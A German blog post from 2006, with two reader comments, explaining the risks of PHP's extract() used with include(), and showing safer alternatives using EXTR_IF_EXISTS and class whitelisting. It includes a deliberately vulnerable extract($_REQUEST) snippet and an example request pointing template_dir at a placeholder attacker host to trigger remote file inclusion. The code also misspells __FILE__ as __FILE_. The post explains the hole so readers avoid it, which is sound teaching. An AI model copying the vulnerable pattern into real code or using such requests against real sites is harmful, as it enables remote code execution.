extract () und include ()

Post von realloc | Einsortiert in Code, Meckerecke am 3. Oktober 2006 | 2 Kommentare

Kürzlich habe ich an einem Script (etwa 2000 Zeilen funktionaler Sourcecode) arbeiten müssen, das in seiner ursprünglichen Version nicht von mir erstellt wurde. Fremden Code zu lesen ist oftmals nicht erfreulich, wie auch in diesem Fall. Immer wieder stieß ich auf Variablen, die scheinbar nirgendwo definiert waren und trotzdem Werte enthielten. Mir fielen dann (vermeintlich unnütze) Zeilen auf, die die Anweisung extract (VarName); enthielten. Ich hatte extract () nie verwendet und nachdem ich noch einmal nachgelesen hatte, was diese Funktion ganz genau macht, war mir auch klar, warum da so war und warum diese Aufgabe nun gar keinen spaßigen Charakter mehr hatte.

extract () tut nämlich genau das, was der Name befürchten läßt; die Funktion extrahiert Variablen aus einem array in die aktuelle Symboltabelle. Das bedeutet, wenn man extract() im globalen Scope ausführt, erhält man automatisch globale Variablen. Wie so einige magische PHP-Funktionen überschreibt sie dabei bereits definierte bzw. legt neue Variablen an. Das hört sich im ersten Augenblick für einige vielleicht nützlich an, ist aber – bei genauerer Betrachtung – im besten Fall einfach unschön. Abgesehen von den sicherheitsrelevanten Problemen, die man sich schaffen kann, wenn man sich versucht fühlt, extract ($_REQUEST) auszuführen:

$template_dir = dirname (__FILE_) . ‘/templates’;
extract ($_REQUEST);

include ($template_dir . ‘/header.html’);
print_r (get_defined_vars ());
include ($template_dir . ‘/footer.html’);

Was passiert, wenn ein potentieller Angreifer /index.php?template_dir=http://HACKERSITE im Browser aufruft? template_dir wird in einer Weise überschrieben, die vermutlich so nicht geplant war. Und das passiert auch dann noch, wenn register_globals off in der php.ini gesetzt wurde. Weitere vorstellbare Szenarien überlasse ich der Fantasie des Lesers.

Gibt es eigentlich sinnvolle Anwendungen für extract ()? Ja, allerdings sind Maßnahmen notwendig, um die Integrität und Sicherheit des Scripts zu sichern. Folgendes Szenario ist durchaus vorstellbar. In einer Anwendung soll eine Konfigurationsdatei integriert werden, die bestimmte Parameter festlegt, die das Script individualisieren. Das könnte beispielsweise eine Sprachkonfiguration sein. An dieser Stelle kommt vielleicht der Einwurf, daß dies mittel gettext-Funktionen oder einer ini-Datei und den entsprechenden parse_ini_file ()-Aufrufen wesentlich eleganter zu lösen ist. Aber diese Lösung kommt durchaus oft zum Einsatz und soll hier vor allem als Beispiel dienen:

function scope_include ($file) {
    if (is_file ($file)) {
        include ($file);
        return (get_defined_vars ());
    }
    return (FALSE);
}

class example {

    var $one = "unchanged";
    var $two = "unchanged";
    var $three = "unchanged";

    function example ($arr = array ()) {
        if (is_array ($arr)) {
            foreach (array_keys (get_class_vars (get_class ($this))) as $key) {
                if (isset ($arr[$key])) {
                    $this->$key = $arr[$key];
                }
            }
        }
    }

}

$config = scope_include (dirname (__FILE_) . "/extract_conf.php");
print_r ($config);

/**
 * Beispiel OOP
 */

$example = new example ($config);
print_r (get_object_vars ($example));
unset ($example);

/**
 * Beispiel Funktional
 */

$one = "unchanged";
$two = "unchanged";
$three = "unchanged";

extract ($config, EXTR_IF_EXISTS);
print_r ($GLOBALS);

Um nicht ein zuätzliches Problem zu schaffen, indem die Konfigurationsdatei einfach inkludiere und damit auch alle enthaltenen Variablen im globalen Scope verfügbar mache, benutze ich eine Funktion, um extract_conf.php zu holen (Zeile 27). Um die Thematik zu verdeutlichen, habe ich auch eine Klasse example definiert (Zeile 9), die über ihren Konstrukter ein array entgegennimmt und die enthaltenen Werte des arrays übernimmt, falls Klassenvariablen mit den entsprechenden Namen definiert sind (Zeile 17). Die Funktion scope_include () liefert mir ein array, das ich in die Variable config überführe (Zeile 27). config übergebe ich einmal an die example-Klasse und gebe daraufhin die Klassenvariablen aus. Danach übergebe ich config an extract (). In meinem Beispiel erziele ich vergleichbare Ergebnisse mit beiden Paradigmen, die Variablen jeweils vordefiniert sind und Mechanismen vorhanden sind, die die Verarbeitung genau regeln und die Konstante EXTR_IF_EXISTS an extract () übergeben wurde. Weiter Informationen lassen sich im php.net finden.

In der Konfigurationsdatei habe ich übrigens noch ein weiteres Detail beachtet, daß in der Praxis leider auch zu häufig vorkommt. Meistens werden Sprachdateien von Dritten bearbeitet, die schnell auch einen Fehler einbauen können oder durch Unachtsamkeit die Integrität der Daten gefährden. Bei größeren Files läßt sich zwar die PHP-Syntax sehr einfach auf Korrektheit prüfen, aber Vollständigkeit und Korrektheit der Daten muß deshalb nicht gegeben sein.

$one = "changed";
$two = "changed";
$four = "changed";

In unserer Beispielkonfiguration werden 3 Variablen definiert. Wir erwarten aber nur $one, $two, $three. $four ist augenscheinlich eine Variable, mit der wir nichts anfangen wollen. Im obigen Beispielen, steht sie deshalb auch während des Programmlaufs nicht zu Verfügung.

Have fun!

Möglicherweise interessiert Dich auch...

2 Antworten auf “extract () und include ()”

  1. Fred sagt:

    Eine kleine Annotation:

    Die Verwendung von Variablen zur Definition von Pfaden ist schludrig, denn da sich Pfade zur Laufzeit niemals ändern, kann man genauso gut Konstanten verwenden. Die können weder absichtlich noch unabsichtlich überschrieben werden. Also statt:

    $template_dir = dirname (__FILE_) . ‘/templates’;

    schreibe:

    define(‘TEMPLATE_DIR’, dirname(__FILE_).’/templates’);

  2. realloc sagt:

    Ja, ein guter Einwand, den man auch immer im Hinterkopf behalten sollte.

Einen Kommentar schreiben